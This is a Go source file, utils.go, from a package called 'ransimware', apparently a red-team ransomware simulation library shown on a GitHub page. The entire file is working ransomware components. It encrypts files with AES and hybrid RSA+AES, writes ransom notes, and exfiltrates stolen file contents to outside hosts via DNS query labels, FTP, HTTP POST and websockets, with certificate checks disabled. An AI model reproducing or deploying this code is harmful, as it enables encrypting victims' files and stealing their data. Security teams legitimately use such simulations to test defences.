-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathutils.go
More file actions
647 lines (534 loc) · 14.3 KB
/
Copy pathutils.go
File metadata and controls
647 lines (534 loc) · 14.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
package ransimware
import (
"bytes"
"crypto"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/tls"
"encoding/base64"
"encoding/hex"
"io"
"net"
"net/http"
"net/url"
"os"
"path/filepath"
"strings"
"sync"
"time"
ws "github.com/gorilla/websocket"
"github.com/mjwhitta/errors"
"github.com/mjwhitta/ftp"
"github.com/mjwhitta/inet"
)
// AESDecrypt will return a function pointer to an EncryptFunc that
// actually decrypts using the specified password.
func AESDecrypt(passwd string) EncryptFunc {
return func(_ string, b []byte) ([]byte, error) {
var block cipher.Block
var e error
var iv [sha256.Size]byte = sha256.Sum256([]byte("redteam"))
var key [sha256.Size]byte = sha256.Sum256([]byte(passwd))
var stream cipher.Stream
if len(b) < aes.BlockSize {
return b, errors.New("ciphertext too short")
}
if block, e = aes.NewCipher(key[:]); e != nil {
e = errors.Newf("failed to create AES cipher: %w", e)
return b, e
}
// Ensure the file was encrypted with ransimware
if !bytes.HasPrefix(b, iv[:aes.BlockSize]) {
return b, nil
}
b = b[aes.BlockSize:]
stream = cipher.NewCTR(block, iv[:aes.BlockSize])
stream.XORKeyStream(b, b)
return b, nil
}
}
// AESEncrypt will return a function pointer to an EncryptFunc that
// uses the specified password.
func AESEncrypt(passwd string) EncryptFunc {
return func(_ string, b []byte) ([]byte, error) {
var block cipher.Block
var ctxt []byte
var e error
var iv [sha256.Size]byte = sha256.Sum256([]byte("redteam"))
var key [sha256.Size]byte = sha256.Sum256([]byte(passwd))
var stream cipher.Stream
if block, e = aes.NewCipher(key[:]); e != nil {
e = errors.Newf("failed to create AES cipher: %w", e)
return b, e
}
ctxt = make([]byte, aes.BlockSize+len(b))
for i := range aes.BlockSize {
ctxt[i] = iv[i]
}
stream = cipher.NewCTR(block, iv[:aes.BlockSize])
stream.XORKeyStream(ctxt[aes.BlockSize:], b)
return ctxt, nil
}
}
// Base64Encode will "encrypt" using base64, obvs.
func Base64Encode(_ string, b []byte) ([]byte, error) {
return []byte(base64.StdEncoding.EncodeToString(b)), nil
}
// DNSResolvedExfil will return a function pointer to an ExfilFunc
// that exfils by sending DNS queries to the authoritative nameserver
// for the specified domain.
func DNSResolvedExfil(domain string) ExfilFunc {
return func(path string, b []byte) error {
var b64 string
var e error
var label strings.Builder
var labels []string
var maxDNS int = 255 - len(domain) - 1 // From RFC
var maxLabel int = 63 // From RFC
var req strings.Builder
var reqs []string
var special map[byte]string = map[byte]string{
'+': "plus",
'/': "slash",
'=': "equal",
}
var stream *strings.Reader
var tmp byte
var uuid [4]byte
// Get UUID
if _, e = rand.Read(uuid[:]); e != nil {
return errors.Newf("failed to read random data: %w", e)
}
// Base64 encode data
if path != "" {
b = append([]byte(path+"\n"), b...)
}
b64 = base64.StdEncoding.EncodeToString(b)
stream = strings.NewReader(b64)
// Create all labels
for {
// Read 1 byte at a time
if tmp, e = stream.ReadByte(); e == io.EOF {
break
} else if e != nil {
return errors.Newf("failed reading data: %w", e)
}
// Check for special chars
if _, ok := special[tmp]; ok {
if label.Len() > 0 {
labels = append(labels, label.String())
label.Reset()
}
labels = append(labels, special[tmp])
continue
}
// Check label length
if label.Len()+1 > maxLabel {
labels = append(labels, label.String())
label.Reset()
}
label.WriteByte(tmp)
}
if label.Len() > 0 {
labels = append(labels, label.String())
label.Reset()
}
// Create DNS requests
req.WriteString(hex.EncodeToString(uuid[:]))
for _, lbl := range labels {
if req.Len()+len(lbl)+1 > maxDNS {
req.WriteString("." + domain)
reqs = append(reqs, req.String())
req.Reset()
req.WriteString(hex.EncodeToString(uuid[:]))
}
req.WriteString("." + lbl)
}
req.WriteString("." + domain)
reqs = append(reqs, req.String())
req.Reset()
for _, fqdn := range reqs {
// Ignore errors, just exfil
_, _ = net.LookupIP(fqdn)
}
return nil
}
}
// FTPExfil will return a function pointer to an ExfilFunc that
// exfils via an FTP connection.
func FTPExfil(dst, user, passwd string) (ExfilFunc, error) {
var c *ftp.ServerConn
var e error
var f ExfilFunc
var m *sync.Mutex = &sync.Mutex{}
var secure bool
// Remove leading protocol
if strings.HasPrefix(dst, "ftp://") {
dst = strings.Replace(dst, "ftp://", "", 1)
} else if strings.HasPrefix(dst, "ftps://") {
dst = strings.Replace(dst, "ftps://", "", 1)
secure = true
}
// Connect to FTP server
if !secure {
//nolint:mnd // 5 secs
c, e = ftp.Dial(dst, ftp.DialWithTimeout(5*time.Second))
} else {
// Skip verify in case user is using self-signed cert
c, e = ftp.Dial(
dst,
//nolint:mnd // 5 secs
ftp.DialWithTimeout(5*time.Second),
ftp.DialWithExplicitTLS(
//nolint:gosec // G402 - We want to ensure exfil, duh
&tls.Config{InsecureSkipVerify: true},
),
)
}
if e != nil {
return nil, errors.Newf("failed FTP connection: %w", e)
}
// Authenticate
if e = c.Login(user, passwd); e != nil {
return nil, errors.Newf("failed to login: %w", e)
}
f = func(path string, b []byte) error {
if path == "" {
path = "exfil"
}
// Fix slashes
path = filepath.ToSlash(path)
path = strings.TrimPrefix(path, "//")
path = strings.TrimPrefix(path, "/")
m.Lock()
defer m.Unlock()
// Make dirs
_ = c.MakeDirRecur(filepath.Dir(path))
// Ignore errors, just exfil
_ = c.Stor(path, bytes.NewReader(b))
return nil
}
return f, nil
}
// FTPParallelExfil will return a function pointer to an ExfilFunc
// that exfils via multiple FTP connections.
func FTPParallelExfil(dst, user, passwd string) (ExfilFunc, error) {
var f ExfilFunc
var secure bool
// Remove leading protocol
if strings.HasPrefix(dst, "ftp://") {
dst = strings.Replace(dst, "ftp://", "", 1)
} else if strings.HasPrefix(dst, "ftps://") {
dst = strings.Replace(dst, "ftps://", "", 1)
secure = true
}
f = func(path string, b []byte) error {
var c *ftp.ServerConn
var e error
if path == "" {
path = "exfil"
}
// Fix slashes
path = filepath.ToSlash(path)
path = strings.TrimPrefix(path, "//")
path = strings.TrimPrefix(path, "/")
// Connect to FTP server
if !secure {
//nolint:mnd // 5 secs
c, e = ftp.Dial(dst, ftp.DialWithTimeout(5*time.Second))
} else {
// Skip verify in case user is using self-signed cert
c, e = ftp.Dial(
dst,
//nolint:mnd // 5 secs
ftp.DialWithTimeout(5*time.Second),
//nolint:gosec // G402 - We want to ensure exfil, duh
ftp.DialWithExplicitTLS(
&tls.Config{InsecureSkipVerify: true},
),
)
}
if e != nil {
return errors.Newf("failed FTP connection: %w", e)
}
// Authenticate
if e = c.Login(user, passwd); e != nil {
return errors.Newf("failed to login: %w", e)
}
// Make dirs
_ = c.MakeDirRecur(filepath.Dir(path))
// Ignore errors, just exfil
_ = c.Stor(path, bytes.NewReader(b))
return nil
}
return f, nil
}
// HTTPExfil will return a function pointer to an ExfilFunc that
// exfils via HTTP POST requests with the specified headers.
func HTTPExfil(dst string, headers map[string]string) ExfilFunc {
return func(path string, b []byte) error {
var b64 string
var data []byte
var e error
var n int
var req *http.Request
var res *http.Response
var stream *bytes.Reader = bytes.NewReader(b)
var tmp [4 * 1024 * 1024]byte
if t, ok := http.DefaultTransport.(*http.Transport); ok {
if t.TLSClientConfig == nil {
t.TLSClientConfig = &tls.Config{}
}
// We want to ensure exfil
t.TLSClientConfig.InsecureSkipVerify = true
}
// Set timeout to 1 second
inet.DefaultClient.SetTimeout(time.Second)
for {
if n, e = stream.Read(tmp[:]); (n == 0) && (e == io.EOF) {
return nil
} else if e != nil {
return errors.Newf("failed to read data: %w", e)
}
// Create request body
data = tmp[:n]
if path != "" {
data = append([]byte(path+"\n"), data...)
}
b64 = base64.StdEncoding.EncodeToString(data)
// Create request
req, e = http.NewRequest(
http.MethodPost,
dst,
strings.NewReader(b64),
)
if e != nil {
e = errors.Newf("failed to craft HTTP request: %w", e)
return e
}
// Set headers
for k, v := range headers {
req.Header.Set(k, v)
}
// Ignore errors, just exfil
res, _ = inet.DefaultClient.Do(req)
_ = res.Body.Close()
}
}
}
// RansomNote will return a function pointer to a NotifyFunc that
// appends the specified text to the specified file.
func RansomNote(path string, text ...string) NotifyFunc {
return func() (e error) {
e = os.WriteFile(
filepath.Clean(path),
[]byte(strings.Join(text, "\n")),
0o600, //nolint:mnd // u=rw,go=-
)
if e != nil {
return errors.Newf("failed to write to %s: %w", path, e)
}
return nil
}
}
// RSADecrypt will return a function pointer to an EncryptFunc that
// actually decrypts using the specified private key. The private key
// is used to decrypt an OTP used with AES for a hybrid RSA+AES
// scheme.
func RSADecrypt(priv *rsa.PrivateKey) EncryptFunc {
return func(path string, b []byte) ([]byte, error) {
var b64 []byte
var ctxt []byte
var e error
var key []byte
var n int
var otp []byte
var ptxt []byte
// Ensure the file was encrypted with ransimware
if !bytes.HasPrefix(b, []byte("ransimware")) {
return b, nil
}
ctxt = b[10:]
// Get key for AES decryption
for i, c := range ctxt {
if c == '\n' {
b64 = ctxt[:i]
ctxt = ctxt[i+1:]
break
}
}
// Base64 decode key
key = make([]byte, base64.StdEncoding.DecodedLen(len(b64)))
if n, e = base64.StdEncoding.Decode(key, b64); e != nil {
return b, errors.Newf("failed to base64 decode: %w", e)
}
// RSA decrypt the OTP
otp, e = priv.Decrypt(
nil,
key[:n],
&rsa.OAEPOptions{Hash: crypto.SHA256},
)
if e != nil {
return b, errors.Newf("failed to RSA decrypt OTP: %w", e)
}
// AES decrypt remaining contents using helper function
if ptxt, e = AESDecrypt(string(otp))(path, ctxt); e != nil {
return b, e
}
return ptxt, nil
}
}
// RSAEncrypt will return a function pointer to an EncryptFunc that
// uses the specified public key. The public key is used to encrypt an
// OTP used with AES for a hybrid RSA+AES scheme.
func RSAEncrypt(pub *rsa.PublicKey) EncryptFunc {
return func(path string, b []byte) ([]byte, error) {
var b64 []byte
var ctxt []byte
var e error
var final []byte
var key []byte
var otp [sha256.Size]byte
// Generate random OTP for AES encryption
if _, e = rand.Read(otp[:]); e != nil {
return b, errors.Newf("failed to read random data: %w", e)
}
// RSA encrypt the OTP
key, e = rsa.EncryptOAEP(
sha256.New(),
rand.Reader,
pub,
otp[:],
nil,
)
if e != nil {
return b, errors.Newf("failed to RSA encrypt OTP: %w", e)
}
// Base64 encode key
b64 = make([]byte, base64.StdEncoding.EncodedLen(len(key)))
base64.StdEncoding.Encode(b64, key)
// AES encrypt using helper function
if ctxt, e = AESEncrypt(string(otp[:]))(path, b); e != nil {
return b, e
}
// Create hybrid structure
final = []byte("ransimware") // tag
final = append(final, b64...) // RSA encrypted key in base64
final = append(final, '\n') // separator
final = append(final, ctxt...) // AES encrypted data
return final, nil
}
}
func wait(t time.Time, waitEvery, waitFor time.Duration) time.Time {
if (waitEvery > 0) && (time.Since(t) >= waitEvery) {
time.Sleep(waitFor)
return time.Now()
}
return t
}
// WebsocketExfil will return a function pointer to an ExfilFunc that
// exfils via a websocket connection.
func WebsocketExfil(
dst string,
headers map[string]string,
proxy ...string,
) (ExfilFunc, error) {
var c *ws.Conn
var dialer *ws.Dialer
var e error
var f ExfilFunc
var hdrs http.Header
var m *sync.Mutex = &sync.Mutex{}
var res *http.Response
var tmp *url.URL
// Set headers
for k, v := range headers {
hdrs.Set(k, v)
}
// Skip verify in case user is using self-signed cert
dialer = ws.DefaultDialer
//nolint:gosec // G402 - We want to ensure exfil, duh
dialer.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
// Use proxy if provided
if len(proxy) > 0 {
if tmp, e = url.Parse(proxy[0]); e != nil {
return nil, errors.Newf("failed to parse proxy: %w", e)
}
dialer.Proxy = http.ProxyURL(tmp)
}
// Connect to Websocket
if c, res, e = dialer.Dial(dst, hdrs); e != nil {
return nil, errors.Newf("failed Websocket connection: %w", e)
}
_ = res.Body.Close()
f = func(path string, b []byte) error {
var b64 string
if path != "" {
b = append([]byte(path+"\n"), b...)
}
b64 = base64.StdEncoding.EncodeToString(b)
m.Lock()
defer m.Unlock()
// Ignore errors, just exfil
_ = c.WriteMessage(ws.TextMessage, []byte(b64))
return nil
}
return f, nil
}
// WebsocketParallelExfil will return a function pointer to an
// ExfilFunc that exfils via multiple websocket connections.
func WebsocketParallelExfil(
dst string,
headers map[string]string,
proxy ...string,
) (ExfilFunc, error) {
var dialer *ws.Dialer
var e error
var f ExfilFunc
var hdrs http.Header
var tmp *url.URL
// Set headers
for k, v := range headers {
hdrs.Set(k, v)
}
// Skip verify in case user is using self-signed cert
dialer = ws.DefaultDialer
//nolint:gosec // G402 - We want to ensure exfil, duh
dialer.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
// Use proxy if provided
if len(proxy) > 0 {
if tmp, e = url.Parse(proxy[0]); e != nil {
return nil, errors.Newf("failed to parse proxy: %w", e)
}
dialer.Proxy = http.ProxyURL(tmp)
}
f = func(path string, b []byte) error {
var b64 string
var c *ws.Conn
var e error
var res *http.Response
// Connect to Websocket
if c, res, e = dialer.Dial(dst, hdrs); e != nil {
return errors.Newf("failed Websocket connection: %w", e)
}
defer func() {
_ = c.WriteMessage(
ws.CloseMessage,
ws.FormatCloseMessage(ws.CloseNormalClosure, ""),
)
_ = c.Close()
}()
_ = res.Body.Close()
if path != "" {
b = append([]byte(path+"\n"), b...)
}
b64 = base64.StdEncoding.EncodeToString(b)
// Ignore errors, just exfil
_ = c.WriteMessage(ws.TextMessage, []byte(b64))
return nil
}
return f, nil
}